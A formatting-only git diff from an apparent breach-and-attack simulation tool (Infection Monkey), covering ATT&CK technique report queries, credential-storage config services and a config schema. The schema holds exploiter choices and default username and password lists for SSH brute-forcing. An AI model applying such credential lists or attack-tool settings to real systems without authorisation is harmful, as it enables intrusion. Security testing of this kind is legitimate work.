b/monkey/monkey_island/cc/services/attack/technique_reports/T1129.py @@ -14,5 +14,5 @@ class T1129(UsageTechnique): @staticmethod def get_report_data(): data = T1129.get_tech_base_data() - data.update({"dlls":T1129.get_usage_data()}) + data.update({"dlls": T1129.get_usage_data()}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py index 4a8be918e40..82dccf6399b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1145.py @@ -14,16 +14,16 @@ class T1145(AttackTechnique): # Gets data about ssh keys found query = [ { - "$match":{ - "telem_category":"system_info", - "data.ssh_info":{"$elemMatch":{"private_key":{"$exists":True}}}, + "$match": { + "telem_category": "system_info", + "data.ssh_info": {"$elemMatch": {"private_key": {"$exists": True}}}, } }, { - "$project":{ - "_id":0, - "machine":{"hostname":"$data.hostname", "ips":"$data.network_info.networks"}, - "ssh_info":"$data.ssh_info", + "$project": { + "_id": 0, + "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, + "ssh_info": "$data.ssh_info", } }, ] @@ -42,5 +42,5 @@ def get_technique_status_and_data(): status, ssh_info = get_technique_status_and_data() data = T1145.get_base_data_by_status(status) - data.update({"ssh_info":ssh_info}) + data.update({"ssh_info": ssh_info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py index 6504e7cff7a..9391e52e94c 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1146.py @@ -17,19 +17,19 @@ class T1146(PostBreachTechnique): def get_pba_query(*args): return [ { - "$match":{ - "telem_category":"post_breach", - "data.name":POST_BREACH_CLEAR_CMD_HISTORY, + "$match": { + "telem_category": "post_breach", + "data.name": POST_BREACH_CLEAR_CMD_HISTORY, } }, { - "$project":{ - "_id":0, - "machine":{ - "hostname":{"$arrayElemAt":["$data.hostname", 0]}, - "ips":[{"$arrayElemAt":["$data.ip", 0]}], + "$project": { + "_id": 0, + "machine": { + "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, + "ips": [{"$arrayElemAt": ["$data.ip", 0]}], }, - "result":"$data.result", + "result": "$data.result", } }, ] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py index 19af84ffded..abd32f78fca 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1156.py @@ -17,25 +17,25 @@ class T1156(PostBreachTechnique): def get_pba_query(*args): return [ { - "$match":{ - "telem_category":"post_breach", - "data.name":POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, + "$match": { + "telem_category": "post_breach", + "data.name": POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, } }, { - "$project":{ - "_id":0, - "machine":{ - "hostname":{"$arrayElemAt":["$data.hostname", 0]}, - "ips":[{"$arrayElemAt":["$data.ip", 0]}], + "$project": { + "_id": 0, + "machine": { + "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, + "ips": [{"$arrayElemAt": ["$data.ip", 0]}], }, - "result":"$data.result", + "result": "$data.result", } }, - {"$unwind":"$result"}, + {"$unwind": "$result"}, { - "$match":{ - "$or":[{"result":{"$regex":r"\.bash"}}, {"result":{"$regex":r"\.profile"}}] + "$match": { + "$or": [{"result": {"$regex": r"\.bash"}}, {"result": {"$regex": r"\.profile"}}] } }, ] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py index b4ea47ada50..473e2b9dfd3 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py @@ -25,11 +25,11 @@ def get_technique_status_and_data(): proxy = proxy.tunnel if proxy_count > 1: hops.append( - { - "from":initial.get_network_info(), - "to":proxy.get_network_info(), - "count":proxy_count, - } + { + "from": initial.get_network_info(), + "to": proxy.get_network_info(), + "count": proxy_count, + } ) status = ScanStatus.USED.value if hops else ScanStatus.UNSCANNED.value return (status, hops) @@ -37,5 +37,5 @@ def get_technique_status_and_data(): status, hops = get_technique_status_and_data() data = T1188.get_base_data_by_status(status) - data.update({"hops":hops}) + data.update({"hops": hops}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py index eb71840efb5..be1b669f69b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1197.py @@ -16,19 +16,19 @@ class T1197(AttackTechnique): def get_report_data(): data = T1197.get_tech_base_data() bits_results = mongo.db.telemetry.aggregate( - [ - {"$match":{"telem_category":"attack", "data.technique":T1197.tech_id}}, - { - "$group":{ - "_id":{"ip_addr":"$data.machine.ip_addr", "usage":"$data.usage"}, - "ip_addr":{"$first":"$data.machine.ip_addr"}, - "domain_name":{"$first":"$data.machine.domain_name"}, - "usage":{"$first":"$data.usage"}, - "time":{"$first":"$timestamp"}, - } - }, - ] + [ + {"$match": {"telem_category": "attack", "data.technique": T1197.tech_id}}, + { + "$group": { + "_id": {"ip_addr": "$data.machine.ip_addr", "usage": "$data.usage"}, + "ip_addr": {"$first": "$data.machine.ip_addr"}, + "domain_name": {"$first": "$data.machine.domain_name"}, + "usage": {"$first": "$data.usage"}, + "time": {"$first": "$timestamp"}, + } + }, + ] ) bits_results = list(bits_results) - data.update({"bits_jobs":bits_results}) + data.update({"bits_jobs": bits_results}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py index 140697b7f07..9d4a17bf5ae 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py @@ -35,45 +35,45 @@ def get_technique_status_and_data(): scanned_services, exploited_services = [], [] else: scanned_services, exploited_services = status_and_data[1], status_and_data[2] - data = {"title":T1210.technique_title()} + data = {"title": T1210.technique_title()} data.update(T1210.get_message_and_status(status)) data.update(T1210.get_mitigation_by_status(status)) data.update( - {"scanned_services":scanned_services, "exploited_services":exploited_services} + {"scanned_services": scanned_services, "exploited_services": exploited_services} ) return data @staticmethod def get_scanned_services(): results = mongo.db.telemetry.aggregate( - [ - {"$match":{"telem_category":"scan"}}, - {"$sort":{"data.service_count":-1}}, - { - "$group":{ - "_id":{"ip_addr":"$data.machine.ip_addr"}, - "machine":{"$first":"$data.machine"}, - "time":{"$first":"$timestamp"}, - } - }, - ] + [ + {"$match": {"telem_category": "scan"}}, + {"$sort": {"data.service_count": -1}}, + { + "$group": { + "_id": {"ip_addr": "$data.machine.ip_addr"}, + "machine": {"$first": "$data.machine"}, + "time": {"$first": "$timestamp"}, + } + }, + ] ) return list(results) @staticmethod def get_exploited_services(): results = mongo.db.telemetry.aggregate( - [ - {"$match":{"telem_category":"exploit", "data.result":True}}, - { - "$group":{ - "_id":{"ip_addr":"$data.machine.ip_addr"}, - "service":{"$first":"$data.info"}, - "machine":{"$first":"$data.machine"}, - "time":{"$first":"$timestamp"}, - } - }, - ] + [ + {"$match": {"telem_category": "exploit", "data.result": True}}, + { + "$group": { + "_id": {"ip_addr": "$data.machine.ip_addr"}, + "service": {"$first": "$data.info"}, + "machine": {"$first": "$data.machine"}, + "time": {"$first": "$timestamp"}, + } + }, + ] ) return list(results) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py index 06dd6b2531f..62800ae20ed 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1216.py @@ -7,23 +7,23 @@ class T1216(PostBreachTechnique): tech_id = "T1216" unscanned_msg = ( - "Monkey didn't attempt to execute an arbitrary program with the help of a " - + "pre-existing signed script since it didn't run on any Windows machines. " - + "If successful, this behavior could be abused by adversaries to execute malicious " - "files that could " + "bypass application control and signature validation on " - "systems." + "Monkey didn't attempt to execute an arbitrary program with the help of a " + + "pre-existing signed script since it didn't run on any Windows machines. " + + "If successful, this behavior could be abused by adversaries to execute malicious " + "files that could " + "bypass application control and signature validation on " + "systems." ) scanned_msg = ( - "Monkey attempted to execute an arbitrary program with the help of a " - + "pre-existing signed script on Windows but failed. " - + "If successful, this behavior could be abused by adversaries to execute malicious " - "files that could " + "bypass application control and signature validation on " - "systems." + "Monkey attempted to execute an arbitrary program with the help of a " + + "pre-existing signed script on Windows but failed. " + + "If successful, this behavior could be abused by adversaries to execute malicious " + "files that could " + "bypass application control and signature validation on " + "systems." ) used_msg = ( - "Monkey executed an arbitrary program with the help of a pre-existing signed script " - "on Windows. " - + "This behavior could be abused by adversaries to execute malicious files that could " - + "bypass application control and signature validation on systems." + "Monkey executed an arbitrary program with the help of a pre-existing signed script " + "on Windows. " + + "This behavior could be abused by adversaries to execute malicious files that could " + + "bypass application control and signature validation on systems." ) pba_names = [POST_BREACH_SIGNED_SCRIPT_PROXY_EXEC] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py index 6af595d9984..3a6ba6f9772 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1222.py @@ -13,26 +13,26 @@ class T1222(AttackTechnique): query = [ { - "$match":{ - "telem_category":"attack", - "data.technique":"T1222", - "data.status":ScanStatus.USED.value, + "$match": { + "telem_category": "attack", + "data.technique": "T1222", + "data.status": ScanStatus.USED.value, } }, { - "$group":{ - "_id":{ - "machine":"$data.machine", - "status":"$data.status", - "command":"$data.command", + "$group": { + "_id": { + "machine": "$data.machine", + "status": "$data.status", + "command": "$data.command", } } }, - {"$replaceRoot":{"newRoot":"$_id"}}, + {"$replaceRoot": {"newRoot": "$_id"}}, ] @staticmethod def get_report_data(): data = T1222.get_tech_base_data() - data.update({"commands":list(mongo.db.telemetry.aggregate(T1222.query))}) + data.update({"commands": list(mongo.db.telemetry.aggregate(T1222.query))}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py index c2c342ea2e7..f35fc970f4d 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1504.py @@ -18,21 +18,21 @@ class T1504(PostBreachTechnique): def get_pba_query(*args): return [ { - "$match":{ - "telem_category":"post_breach", - "data.name":POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, + "$match": { + "telem_category": "post_breach", + "data.name": POST_BREACH_SHELL_STARTUP_FILE_MODIFICATION, } }, { - "$project":{ - "_id":0, - "machine":{ - "hostname":{"$arrayElemAt":["$data.hostname", 0]}, - "ips":[{"$arrayElemAt":["$data.ip", 0]}], + "$project": { + "_id": 0, + "machine": { + "hostname": {"$arrayElemAt": ["$data.hostname", 0]}, + "ips": [{"$arrayElemAt": ["$data.ip", 0]}], }, - "result":"$data.result", + "result": "$data.result", } }, - {"$unwind":"$result"}, - {"$match":{"result":{"$regex":r"profile\.ps1"}}}, + {"$unwind": "$result"}, + {"$match": {"result": {"$regex": r"profile\.ps1"}}}, ] diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py index b332634821a..40a421d740e 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/__init__.py @@ -10,8 +10,8 @@ logger = logging.getLogger(__name__) disabled_msg = ( - "This technique has been disabled. " - + "You can enable it from the [configuration page](../../configure)." + "This technique has been disabled. " + + "You can enable it from the [configuration page](../../configure)." ) @@ -67,19 +67,19 @@ def technique_status(cls): if not cls._is_enabled_in_config(): return ScanStatus.DISABLED.value elif mongo.db.telemetry.find_one( - { - "telem_category":"attack", - "data.status":ScanStatus.USED.value, - "data.technique":cls.tech_id, - } + { + "telem_category": "attack", + "data.status": ScanStatus.USED.value, + "data.technique": cls.tech_id, + } ): return ScanStatus.USED.value elif mongo.db.telemetry.find_one( - { - "telem_category":"attack", - "data.status":ScanStatus.SCANNED.value, - "data.technique":cls.tech_id, - } + { + "telem_category": "attack", + "data.status": ScanStatus.SCANNED.value, + "data.technique": cls.tech_id, + } ): return ScanStatus.SCANNED.value else: @@ -92,7 +92,7 @@ def get_message_and_status(cls, status): :param status: Enum from common/attack_utils.py integer value :return: Dict with message and status """ - return {"message":cls.get_message_by_status(status), "status":status} + return {"message": cls.get_message_by_status(status), "status": status} @classmethod def get_message_by_status(cls, status): @@ -128,7 +128,7 @@ def get_tech_base_data(cls): status = cls.technique_status() title = cls.technique_title() data.update( - {"status":status, "title":title, "message":cls.get_message_by_status(status)} + {"status": status, "title": title, "message": cls.get_message_by_status(status)} ) data.update(cls.get_mitigation_by_status(status)) return data @@ -136,7 +136,7 @@ def get_tech_base_data(cls): @classmethod def get_base_data_by_status(cls, status): data = cls.get_message_and_status(status) - data.update({"title":cls.technique_title()}) + data.update({"title": cls.technique_title()}) data.update(cls.get_mitigation_by_status(status)) return data @@ -144,7 +144,7 @@ def get_base_data_by_status(cls, status): def get_mitigation_by_status(cls, status: ScanStatus) -> dict: if status == ScanStatus.USED.value: mitigation_document = AttackMitigations.get_mitigation_by_technique_id(str(cls.tech_id)) - return {"mitigations":mitigation_document.to_mongo().to_dict()["mitigations"]} + return {"mitigations": mitigation_document.to_mongo().to_dict()["mitigations"]} else: return {} diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py index 20590957364..5460caf4cea 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/pba_technique.py @@ -28,16 +28,16 @@ def get_pba_query(cls, post_breach_action_names): """ return [ { - "$match":{ - "telem_category":"post_breach", - "$or":[{"data.name":pba_name} for pba_name in post_breach_action_names], + "$match": { + "telem_category": "post_breach", + "$or": [{"data.name": pba_name} for pba_name in post_breach_action_names], } }, { - "$project":{ - "_id":0, - "machine":{"hostname":"$data.hostname", "ips":["$data.ip"]}, - "result":"$data.result", + "$project": { + "_id": 0, + "machine": {"hostname": "$data.hostname", "ips": ["$data.ip"]}, + "result": "$data.result", } }, ] @@ -54,17 +54,17 @@ def get_technique_status_and_data(): status = ScanStatus.UNSCANNED.value if info: successful_PBAs = mongo.db.telemetry.count( - { - "$or":[{"data.name":pba_name} for pba_name in cls.pba_names], - "data.result.1":True, - } + { + "$or": [{"data.name": pba_name} for pba_name in cls.pba_names], + "data.result.1": True, + } ) status = ScanStatus.USED.value if successful_PBAs else ScanStatus.SCANNED.value return (status, info) - data = {"title":cls.technique_title()} + data = {"title": cls.technique_title()} status, info = get_technique_status_and_data() data.update(cls.get_base_data_by_status(status)) - data.update({"info":info}) + data.update({"info": info}) return data diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py index 16ab5bf3575..0a9a1045b23 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/technique_report_tools.py @@ -9,10 +9,10 @@ def parse_creds(attempt): """ username = attempt["user"] creds = { - "lm_hash":{"type":"LM hash", "output":censor_hash(attempt["lm_hash"])}, - "ntlm_hash":{"type":"NTLM hash", "output":censor_hash(attempt["ntlm_hash"], 20)}, - "ssh_key":{"type":"SSH key", "output":attempt["ssh_key"]}, - "password":{"type":"Plaintext password", "output":censor_password(attempt["password"])}, + "lm_hash": {"type": "LM hash", "output": censor_hash(attempt["lm_hash"])}, + "ntlm_hash": {"type": "NTLM hash", "output": censor_hash(attempt["ntlm_hash"], 20)}, + "ssh_key": {"type": "SSH key", "output": attempt["ssh_key"]}, + "password": {"type": "Plaintext password", "output": censor_password(attempt["password"])}, } for key, cred in list(creds.items()): if attempt[key]: diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py index 80f70010bdf..bfa406b96b4 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/usage_technique.py @@ -17,8 +17,8 @@ def parse_usages(usage): usage["usage"] = UsageEnum[usage["usage"]].value[usage["status"]] except KeyError: logger.error( - "Error translating usage enum. into string. " - "Check if usage enum field exists and covers all telem. statuses." + "Error translating usage enum. into string. " + "Check if usage enum field exists and covers all telem. statuses." ) return usage @@ -38,29 +38,29 @@ def get_usage_query(cls): (gets machines and attack technique usage). """ return [ - {"$match":{"telem_category":"attack", "data.technique":cls.tech_id}}, + {"$match": {"telem_category": "attack", "data.technique": cls.tech_id}}, { - "$lookup":{ - "from":"monkey", - "localField":"monkey_guid", - "foreignField":"guid", - "as":"monkey", + "$lookup": { + "from": "monkey", + "localField": "monkey_guid", + "foreignField": "guid", + "as": "monkey", } }, { - "$project":{ - "monkey":{"$arrayElemAt":["$monkey", 0]}, - "status":"$data.status", - "usage":"$data.usage", + "$project": { + "monkey": {"$arrayElemAt": ["$monkey", 0]}, + "status": "$data.status", + "usage": "$data.usage", } }, { - "$addFields":{ - "_id":0, - "machine":{"hostname":"$monkey.hostname", "ips":"$monkey.ip_addresses"}, - "monkey":0, + "$addFields": { + "_id": 0, + "machine": {"hostname": "$monkey.hostname", "ips": "$monkey.ip_addresses"}, + "monkey": 0, } }, - {"$group":{"_id":{"machine":"$machine", "status":"$status", "usage":"$usage"}}}, - {"$replaceRoot":{"newRoot":"$_id"}}, + {"$group": {"_id": {"machine": "$machine", "status": "$status", "usage": "$usage"}}}, + {"$replaceRoot": {"newRoot": "$_id"}}, ] diff --git a/monkey/monkey_island/cc/services/bootloader.py b/monkey/monkey_island/cc/services/bootloader.py index b295b9c5892..05bdac8f180 100644 --- a/monkey/monkey_island/cc/services/bootloader.py +++ b/monkey/monkey_island/cc/services/bootloader.py @@ -19,7 +19,7 @@ def parse_bootloader_telem(telem: Dict) -> bool: telem["os_version"] = "Unknown OS" telem_id = BootloaderService.get_mongo_id_for_bootloader_telem(telem) - mongo.db.bootloader_telems.update({"_id":telem_id}, {"$setOnInsert":telem}, upsert=True) + mongo.db.bootloader_telems.update({"_id": telem_id}, {"$setOnInsert": telem}, upsert=True) will_monkey_run = BootloaderService.is_os_compatible(telem) try: diff --git a/monkey/monkey_island/cc/services/bootloader_test.py b/monkey/monkey_island/cc/services/bootloader_test.py index b8cb3adc662..81c4affffac 100644 --- a/monkey/monkey_island/cc/services/bootloader_test.py +++ b/monkey/monkey_island/cc/services/bootloader_test.py @@ -3,14 +3,14 @@ from monkey_island.cc.services.bootloader import BootloaderService WINDOWS_VERSIONS = { - "5.0":"Windows 2000", - "5.1":"Windows XP", - "5.2":"Windows XP/server 2003", - "6.0":"Windows Vista/server 2008", - "6.1":"Windows 7/server 2008R2", - "6.2":"Windows 8/server 2012", - "6.3":"Windows 8.1/server 2012R2", - "10.0":"Windows 10/server 2016-2019", + "5.0": "Windows 2000", + "5.1": "Windows XP", + "5.2": "Windows XP/server 2003", + "6.0": "Windows Vista/server 2008", + "6.1": "Windows 7/server 2008R2", + "6.2": "Windows 8/server 2012", + "6.3": "Windows 8.1/server 2012R2", + "10.0": "Windows 10/server 2016-2019", } MIN_GLIBC_VERSION = 2.14 @@ -23,10 +23,10 @@ def test_is_glibc_supported(self): str3 = "ldd (GNU libc) 2.28" str4 = "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23" self.assertTrue( - not BootloaderService.is_glibc_supported(str1) - and not BootloaderService.is_glibc_supported(str2) - and BootloaderService.is_glibc_supported(str3) - and BootloaderService.is_glibc_supported(str4) + not BootloaderService.is_glibc_supported(str1) + and not BootloaderService.is_glibc_supported(str2) + and BootloaderService.is_glibc_supported(str3) + and BootloaderService.is_glibc_supported(str4) ) def test_remove_local_ips(self): diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 9c7b259e470..d6b34e60b3d 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -57,8 +57,8 @@ def get_config(is_initial_config=False, should_decrypt=True, is_island=False): :return: The entire global config. """ config = ( - mongo.db.config.find_one({"name":"initial" if is_initial_config else "newconfig"}) - or {} + mongo.db.config.find_one({"name": "initial" if is_initial_config else "newconfig"}) + or {} ) for field in ("name", "_id"): config.pop(field, None) @@ -80,9 +80,9 @@ def get_config_value(config_key_as_arr, is_initial_config=False, should_decrypt= (if it's in the list of encrypted config values). :return: The value of the requested config key. """ - config_key = functools.reduce(lambda x, y:x + "." + y, config_key_as_arr) + config_key = functools.reduce(lambda x, y: x + "." + y, config_key_as_arr) config = mongo.db.config.find_one( - {"name":"initial" if is_initial_config else "newconfig"}, {config_key:1} + {"name": "initial" if is_initial_config else "newconfig"}, {config_key: 1} ) for config_key_part in config_key_as_arr: config = config[config_key_part] @@ -97,7 +97,7 @@ def get_config_value(config_key_as_arr, is_initial_config=False, should_decrypt= @staticmethod def set_config_value(config_key_as_arr, value): mongo_key = ".".join(config_key_as_arr) - mongo.db.config.update({"name":"newconfig"}, {"$set":{mongo_key:value}}) + mongo.db.config.update({"name": "newconfig"}, {"$set": {mongo_key: value}}) @staticmethod def get_flat_config(is_initial_config=False, should_decrypt=True): @@ -127,47 +127,47 @@ def add_item_to_config_set_if_dont_exist(item_path_array, item_value, should_enc if should_encrypt: item_value = get_encryptor().enc(item_value) mongo.db.config.update( - {"name":"newconfig"}, {"$addToSet":{item_key:item_value}}, upsert=False + {"name": "newconfig"}, {"$addToSet": {item_key: item_value}}, upsert=False ) mongo.db.monkey.update( - {}, {"$addToSet":{"config." + item_key.split(".")[-1]:item_value}}, multi=True + {}, {"$addToSet": {"config." + item_key.split(".")[-1]: item_value}}, multi=True ) @staticmethod def creds_add_username(username): ConfigService.add_item_to_config_set_if_dont_exist( - USER_LIST_PATH, username, should_encrypt=False + USER_LIST_PATH, username, should_encrypt=False ) @staticmethod def creds_add_password(password): ConfigService.add_item_to_config_set_if_dont_exist( - PASSWORD_LIST_PATH, password, should_encrypt=True + PASSWORD_LIST_PATH, password, should_encrypt=True ) @staticmethod def creds_add_lm_hash(lm_hash): ConfigService.add_item_to_config_set_if_dont_exist( - LM_HASH_LIST_PATH, lm_hash, should_encrypt=True + LM_HASH_LIST_PATH, lm_hash, should_encrypt=True ) @staticmethod def creds_add_ntlm_hash(ntlm_hash): ConfigService.add_item_to_config_set_if_dont_exist( - NTLM_HASH_LIST_PATH, ntlm_hash, should_encrypt=True + NTLM_HASH_LIST_PATH, ntlm_hash, should_encrypt=True ) @staticmethod def ssh_add_keys(public_key, private_key, user, ip): if not ConfigService.ssh_key_exists( - ConfigService.get_config_value(SSH_KEYS_PATH, False, False), user, ip + ConfigService.get_config_value(SSH_KEYS_PATH, False, False), user, ip ): ConfigService.add_item_to_config_set_if_dont_exist( - SSH_KEYS_PATH, - {"public_key":public_key, "private_key":private_key, "user":user, "ip":ip}, - # SSH keys already encrypted in process_ssh_info() - should_encrypt=False, + SSH_KEYS_PATH, + {"public_key": public_key, "private_key": private_key, "user": user, "ip": ip}, + # SSH keys already encrypted in process_ssh_info() + should_encrypt=False, ) @staticmethod @@ -177,7 +177,7 @@ def ssh_key_exists(keys, user, ip): def _filter_none_values(data): if isinstance(data, dict): return { - k:ConfigService._filter_none_values(v) + k: ConfigService._filter_none_values(v) for k, v in data.items() if k is not None and v is not None } @@ -198,7 +198,7 @@ def update_config(config_json, should_encrypt): except KeyError: logger.error("Bad configuration file was submitted.") return False - mongo.db.config.update({"name":"newconfig"}, {"$set":config_json}, upsert=True) + mongo.db.config.update({"name": "newconfig"}, {"$set": config_json}, upsert=True) logger.info("monkey config was updated") return True @@ -206,7 +206,7 @@ def update_config(config_json, should_encrypt): def init_default_config(): if ConfigService.default_config is None: default_validating_draft4_validator = ConfigService._extend_config_with_default( - Draft4Validator + Draft4Validator ) config = {} default_validating_draft4_validator(SCHEMA).validate(config) @@ -248,10 +248,10 @@ def set_server_ips_in_config(config): @staticmethod def save_initial_config_if_needed(): - if mongo.db.config.find_one({"name":"initial"}) is not None: + if mongo.db.config.find_one({"name": "initial"}) is not None: return - initial_config = mongo.db.config.find_one({"name":"newconfig"}) + initial_config = mongo.db.config.find_one({"name": "newconfig"}) initial_config["name"] = "initial" initial_config.pop("_id") mongo.db.config.insert(initial_config) @@ -277,9 +277,9 @@ def set_defaults(validator, properties, instance, schema): for property4, subschema4 in list(subschema3["properties"].items()): if "properties" in subschema4: raise ValueError( - "monkey/monkey_island/cc/services/config.py " - "can't handle 5 level config. " - "Either change back the config or refactor." + "monkey/monkey_island/cc/services/config.py " + "can't handle 5 level config. " + "Either change back the config or refactor." ) if "default" in subschema4: layer_3_dict[property4] = subschema4["default"] @@ -291,8 +291,8 @@ def set_defaults(validator, properties, instance, schema): yield error return validators.extend( - validator_class, - {"properties":set_defaults}, + validator_class, + {"properties": set_defaults}, ) @staticmethod @@ -312,13 +312,13 @@ def decrypt_flat_config(flat_config, is_island=False): for key in keys: if isinstance(flat_config[key], collections.Sequence) and not isinstance( - flat_config[key], str + flat_config[key], str ): # Check if we are decrypting ssh key pair if ( - flat_config[key] - and isinstance(flat_config[key][0], dict) - and "public_key" in flat_config[key][0] + flat_config[key] + and isinstance(flat_config[key][0], dict) + and "public_key" in flat_config[key][0] ): flat_config[key] = [ ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key] diff --git a/monkey/monkey_island/cc/services/config_schema/basic.py b/monkey/monkey_island/cc/services/config_schema/basic.py index b016e435e87..aba80e08a99 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic.py +++ b/monkey/monkey_island/cc/services/config_schema/basic.py @@ -1,19 +1,19 @@ BASIC = { - "title":"Exploits", - "type":"object", - "primary":True, - "properties":{ - "exploiters":{ - "title":"Exploiters", - "type":"object", - "description":"Choose which exploiters the Monkey will attempt.", - "properties":{ - "exploiter_classes":{ - "title":"Exploiters", - "type":"array", - "uniqueItems":True, - "items":{"$ref":"#/definitions/exploiter_classes"}, - "default":[ + "title": "Exploits", + "type": "object", + "primary": True, + "properties": { + "exploiters": { + "title": "Exploiters", + "type": "object", + "description": "Choose which exploiters the Monkey will attempt.", + "properties": { + "exploiter_classes": { + "title": "Exploiters", + "type": "array", + "uniqueItems": True, + "items": {"$ref": "#/definitions/exploiter_classes"}, + "default": [ "SmbExploiter", "WmiExploiter", "SSHExploiter", @@ -30,26 +30,26 @@ } }, }, - "credentials":{ - "title":"Credentials", - "type":"object", - "properties":{ - "exploit_user_list":{ - "title":"Exploit user list", - "type":"array", - "uniqueItems":True, - "items":{"type":"string"}, - "default":["Administrator", "root", "user"], - "description":"List of user names that will be used by exploiters that need " - "credentials, like " - "SSH brute-forcing.", + "credentials": { + "title": "Credentials", + "type": "object", + "properties": { + "exploit_user_list": { + "title": "Exploit user list", + "type": "array", + "uniqueItems": True, + "items": {"type": "string"}, + "default": ["Administrator", "root", "user"], + "description": "List of user names that will be used by exploiters that need " + "credentials, like " + "SSH brute-forcing.", }, - "exploit_password_list":{ - "title":"Exploit password list", - "type":"array", - "uniqueItems":True, - "items":{"type":"string"}, - "default":[ + "exploit_password_list": { + "title": "Exploit password list", + "type": "array", + "uniqueItems": True, + "items": {"type": "string"}, + "default": [ "root", "123456", "password", @@ -58,9 +58,9 @@ "111111", "iloveyou", ], - "description":"List of passwords that will be used by exploiters that need " - "credentials, like " - "SSH brute-forcing.", + "description": "List of passwords that will be used by exploiters that need " + "credentials, like " + "SSH brute-forcing.", }, }, }, diff --git a/monkey/monkey_island/cc/services/config_schema/basic_network.py b/monkey/monkey_island/cc/services/config_schema/basic_network.py index 47e57482545..4512a7cc90b 100644 --- a/monkey/monkey_island/cc/services/config_schema/basic_network.py +++ b/monkey/monkey_island/cc/services/config_schema/basic_network.py @@ -2,91 +2,91 @@ from monkey_island.cc.services.utils.typographic_symbols import WARNING_SIGN BASIC_NETWORK = { - "title":"Network", - "type":"object", - "properties":{ - "scope":{ - "title":"Scope", - "type":"object", - "properties":{ - "blocked_ips":{ - "title":"Blocked IPs", - "type":"array", - "uniqueItems":True, - "items":{ - "type":"string", - "format":IP, + "title": "Network", + "type": "object", + "properties": { + "scope": { + "title": "Scope", + "type": "object", + "properties": { + "blocked_ips": { + "title": "Blocked IPs", + "type": "array", + "uniqueItems": True, + "items": { + "type": "string", + "format": IP, }, - "default":[], - "description":"List of IPs that the Monkey will not scan.", - "info":'The Monkey scans its subnet if "Local network scan" is ticked. ' - 'Additionally the monkey scans machines according to "Scan ' - 'target list".', + "default": [], + "description": "List of IPs that the Monkey will not scan.", + "info": 'The Monkey scans its subnet if "Local network scan" is ticked. ' + 'Additionally the monkey scans machines according to "Scan ' + 'target list".', }, - "local_network_scan":{ - "title":"Local network scan", - "type":"boolean", - "default":True, - "description":"Determines whether the Monkey will scan the local subnets of " - "machines it runs on, " - "in addition to the IPs that are configured manually in the " - '"Scan target list".', + "local_network_scan": { + "title": "Local network scan", + "type": "boolean", + "default": True, + "description": "Determines whether the Monkey will scan the local subnets of " + "machines it runs on, " + "in addition to the IPs that are configured manually in the " + '"Scan target list".', }, - 